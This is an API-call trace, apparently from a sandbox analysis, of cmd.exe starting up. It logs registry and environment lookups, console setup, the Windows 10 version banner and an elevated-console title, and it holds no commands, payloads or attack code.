	[0064.245] VirtualQuery (in: lpAddress=0x1310c00000, lpBuffer=0x1310cff730, dwLength=0x30 | out: lpBuffer=0x1310cff730*(BaseAddress=0x1310c00000, AllocationBase=0x1310c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.245] VirtualQuery (in: lpAddress=0x1310c01000, lpBuffer=0x1310cff730, dwLength=0x30 | out: lpBuffer=0x1310cff730*(BaseAddress=0x1310c01000, AllocationBase=0x1310c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.245] VirtualQuery (in: lpAddress=0x1310c04000, lpBuffer=0x1310cff730, dwLength=0x30 | out: lpBuffer=0x1310cff730*(BaseAddress=0x1310c04000, AllocationBase=0x1310c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.245] VirtualQuery (in: lpAddress=0x1310d00000, lpBuffer=0x1310cff730, dwLength=0x30 | out: lpBuffer=0x1310cff730*(BaseAddress=0x1310d00000, AllocationBase=0x1310d00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0064.245] GetConsoleOutputCP () returned 0x1b5
	[0064.279] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0064.279] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7acb48150, Add=1) returned 1
	[0064.279] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0064.280] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff7acb5fc04 | out: lpMode=0x7ff7acb5fc04) returned 0
	[0064.280] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0064.280] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff7acb5fc00 | out: lpMode=0x7ff7acb5fc00) returned 0
	[0064.280] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0064.280] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0
	[0064.280] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0064.280] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff7acb5fc08 | out: lpMode=0x7ff7acb5fc08) returned 0
	[0064.280] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0064.280] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff7acb5fc0c | out: lpMode=0x7ff7acb5fc0c) returned 0
	[0064.280] GetEnvironmentStringsW () returned 0x17accda5a10*
	[0064.280] GetProcessHeap () returned 0x17accda0000
	[0064.280] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xa7c) returned 0x17accda64a0
	[0064.280] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.280] GetProcessHeap () returned 0x17accda0000
	[0064.280] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x8) returned 0x17accda6f30
	[0064.280] GetEnvironmentStringsW () returned 0x17accda5a10*
	[0064.280] GetProcessHeap () returned 0x17accda0000
	[0064.280] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xa7c) returned 0x17accda6f50
	[0064.281] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.281] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1310cfe678 | out: phkResult=0x1310cfe678*=0x7c) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x4, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x1, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x1, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x0, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x40, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x40, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x40, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.281] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.281] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1310cfe678 | out: phkResult=0x1310cfe678*=0x7c) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x40, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x1, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x1, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x0, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x9, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x4, lpData=0x1310cfe690*=0x9, lpcbData=0x1310cfe674*=0x4) returned 0x0
	[0064.281] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1310cfe670, lpData=0x1310cfe690, lpcbData=0x1310cfe674*=0x1000 | out: lpType=0x1310cfe670*=0x0, lpData=0x1310cfe690*=0x9, lpcbData=0x1310cfe674*=0x1000) returned 0x2
	[0064.282] RegCloseKey (hKey=0x7c) returned 0x0
	[0064.282] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccddb98
	[0064.282] srand (_Seed=0x5ccddb98) 
	[0064.282] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0064.282] malloc (_Size=0x4000) returned 0x17accfa54f0
	[0064.282] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0064.282] malloc (_Size=0xffce) returned 0x17accca0080
	[0064.283] ??_V@YAXPEAX@Z () returned 0x17accca0080
	[0064.283] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x17accca0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.283] malloc (_Size=0xffce) returned 0x17acccb0060
	[0064.283] ??_V@YAXPEAX@Z () returned 0x17acccb0060
	[0064.284] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x17acccb0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0064.284] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0064.284] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0064.284] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0064.284] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0064.285] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0064.285] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0064.285] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0064.285] GetProcessHeap () returned 0x17accda0000
	[0064.285] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda64a0) returned 1
	[0064.285] GetEnvironmentStringsW () returned 0x17accda5a10*
	[0064.285] GetProcessHeap () returned 0x17accda0000
	[0064.285] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xa94) returned 0x17accda7a10
	[0064.285] FreeEnvironmentStringsA (penv="A") returned 1
	[0064.285] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0064.285] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0064.285] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0064.285] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0064.285] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0064.285] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0064.285] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0064.285] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0064.285] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0064.285] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0064.285] malloc (_Size=0xffce) returned 0x17acccc0040
	[0064.286] ??_V@YAXPEAX@Z () returned 0x17acccc0040
	[0064.286] GetProcessHeap () returned 0x17accda0000
	[0064.286] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x40) returned 0x17accda84b0
	[0064.286] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x17acccc0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x17acccc0040, lpFilePart=0x1310cff1f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1310cff1f0*="Desktop") returned 0x17
	[0064.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.287] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1310cfef20 | out: lpFindFileData=0x1310cfef20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x17accda8500
	[0064.287] FindClose (in: hFindFile=0x17accda8500 | out: hFindFile=0x17accda8500) returned 1
	[0064.287] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x1310cfef20 | out: lpFindFileData=0x1310cfef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x17accda8500
	[0064.288] FindClose (in: hFindFile=0x17accda8500 | out: hFindFile=0x17accda8500) returned 1
	[0064.288] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x1310cfef20 | out: lpFindFileData=0x1310cfef20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x248ac2f5, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x248ac2f5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x17accda8500
	[0064.288] FindClose (in: hFindFile=0x17accda8500 | out: hFindFile=0x17accda8500) returned 1
	[0064.288] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.288] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0064.288] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0064.288] GetProcessHeap () returned 0x17accda0000
	[0064.288] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda7a10) returned 1
	[0064.288] GetEnvironmentStringsW () returned 0x17accda0fc0*
	[0064.288] GetProcessHeap () returned 0x17accda0000
	[0064.288] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xacc) returned 0x17accda8500
	[0064.288] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.288] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x17accca0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.288] GetProcessHeap () returned 0x17accda0000
	[0064.288] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda84b0) returned 1
	[0064.289] ??_V@YAXPEAX@Z () returned 0x1
	[0064.289] ??_V@YAXPEAX@Z () returned 0x1
	[0064.289] GetProcessHeap () returned 0x17accda0000
	[0064.289] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x4016) returned 0x17accda8fe0
	[0064.289] GetProcessHeap () returned 0x17accda0000
	[0064.289] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda8fe0) returned 1
	[0064.289] GetConsoleOutputCP () returned 0x1b5
	[0065.969] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0065.969] GetUserDefaultLCID () returned 0x409
	[0065.969] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7acb5bb78, cchData=8 | out: lpLCData=":") returned 2
	[0065.969] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1310cff5b0, cchData=128 | out: lpLCData="0") returned 2
	[0065.969] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1310cff5b0, cchData=128 | out: lpLCData="0") returned 2
	[0065.969] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1310cff5b0, cchData=128 | out: lpLCData="1") returned 2
	[0065.969] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7acb5bb68, cchData=8 | out: lpLCData="/") returned 2
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7acb5bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7acb5bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7acb5ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7acb5ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7acb5ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7acb5b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7acb5b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7acb5bb58, cchData=8 | out: lpLCData=".") returned 2
	[0065.970] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7acb5bb40, cchData=8 | out: lpLCData=",") returned 2
	[0065.970] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0065.972] GetProcessHeap () returned 0x17accda0000
	[0065.972] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x0, Size=0x20c) returned 0x17accda6560
	[0065.972] GetConsoleTitleW (in: lpConsoleTitle=0x17accda6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0066.487] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0066.487] GetFileType (hFile=0x2b0) returned 0x3
	[0066.540] ApiSetQueryApiSetPresence () returned 0x0
	[0066.540] ResolveDelayLoadedAPI () returned 0x7ff911add990
	[0067.457] BrandingFormatString () returned 0x17accda1850
	[0067.462] GetVersion () returned 0x3ad7000a
	[0067.462] _vsnwprintf (in: _Buffer=0x1310cff710, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1310cff6a8 | out: _Buffer="10.0.15063") returned 10
	[0067.463] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.463] GetFileType (hFile=0x2b0) returned 0x3
	[0067.463] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7acb67f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0067.463] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7acb67f60, nSize=0x2000, Arguments=0x1310cff6b0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0067.463] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0067.463] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1310cff608, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff608*=0x26, lpOverlapped=0x0) returned 1
	[0067.464] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1310cff6d8 | out: _Buffer="\r\n") returned 2
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] GetFileType (hFile=0x2b0) returned 0x3
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0067.464] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1310cff6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff6a8*=0x2, lpOverlapped=0x0) returned 1
	[0067.464] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1310cff6d8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] GetFileType (hFile=0x2b0) returned 0x3
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0067.464] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x1310cff6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff6a8*=0x34, lpOverlapped=0x0) returned 1
	[0067.464] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1310cff6d8 | out: _Buffer="\r\n") returned 2
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] GetFileType (hFile=0x2b0) returned 0x3
	[0067.464] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0067.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0067.464] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1310cff6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff6a8*=0x2, lpOverlapped=0x0) returned 1
	[0067.464] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0067.464] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830
	[0067.465] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300
	[0067.465] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40
	[0067.465] ??_V@YAXPEAX@Z () returned 0x1
	[0067.465] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0067.465] GetFileType (hFile=0x2a4) returned 0x3
	[0067.465] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0067.465] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1310cff518 | out: TokenHandle=0x1310cff518*=0x0) returned 0xc000007c
	[0067.465] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1310cff518 | out: TokenHandle=0x1310cff518*=0x94) returned 0x0
	[0067.465] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x1310cff4c8, TokenInformationLength=0x4, ReturnLength=0x1310cff4d0 | out: TokenInformation=0x1310cff4c8, ReturnLength=0x1310cff4d0) returned 0x0
	[0067.465] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x1310cff4d0, TokenInformationLength=0x4, ReturnLength=0x1310cff4c8 | out: TokenInformation=0x1310cff4d0, ReturnLength=0x1310cff4c8) returned 0x0
	[0067.465] NtClose (Handle=0x94) returned 0x0
	[0067.465] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1310cff4e0, nSize=0x0, Arguments=0x1310cff4e8 | out: lpBuffer="\x8320\xccda\x17a") returned 0xf
	[0067.465] GetProcessHeap () returned 0x17accda0000
	[0067.466] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x218) returned 0x17accda6c30
	[0067.466] GetConsoleTitleW (in: lpConsoleTitle=0x1310cff530, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0068.216] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0068.216] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0068.413] GetProcessHeap () returned 0x17accda0000
	[0068.413] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda6c30) returned 1
	[0068.413] LocalFree (hMem=0x17accda8320) returned 0x0
	[0069.430] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1310cff358 | out: _Buffer="\r\n") returned 2
	[0069.430] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.430] GetFileType (hFile=0x2b0) returned 0x3
	[0069.430] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0069.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0069.430] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1310cff328, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0x1310cff328*=0x2, lpOverlapped=0x0) returned 1
